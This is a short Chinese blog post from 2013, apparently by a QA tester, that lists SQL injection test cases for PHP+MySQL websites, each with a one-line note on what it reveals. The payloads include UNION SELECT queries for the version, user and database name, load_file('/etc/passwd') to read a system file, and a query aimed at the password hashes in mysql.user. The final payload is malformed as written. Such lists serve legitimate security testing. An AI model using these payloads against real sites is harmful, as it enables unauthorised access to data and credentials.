qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

PHP+MySQL 网站 SQL 注入攻击测试用例

SQL注入攻击测试用例

说明

Night
Night’ and 1=1#
Night’ and 1=2#

判断注入点。第一次是正常请求,如果存在注入漏洞,那么第二次请求得到结果应该与第一次一样,并且第三次请求得到的结果应该与前两次不同

Night’ or 1=1#

返回所有数据,常用于有搜索功能的页面

Night’ union select version()#

返回数据库版本信息

Night’ union select database()#

返回当前的库名

Night’ union select user()#

返回数据库的用户名信息

Night’ union select session_user()#

Night’ union select system_user()#

Night’ union select load_file(‘/etc/passwd’)#

读取系统文件

Night’ select user ,password from mysql.user#

返回数据库用户的密码信息,密码一般以MD5的方式存放

posted on 2013-12-05 10:47 顺其自然EVO 阅读(293) 评论(0)  编辑  收藏


只有注册用户登录后才能发表评论。


网站导航:
 
<2013年12月>
24252627282930
1234567
891011121314
15161718192021
22232425262728
2930311234

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜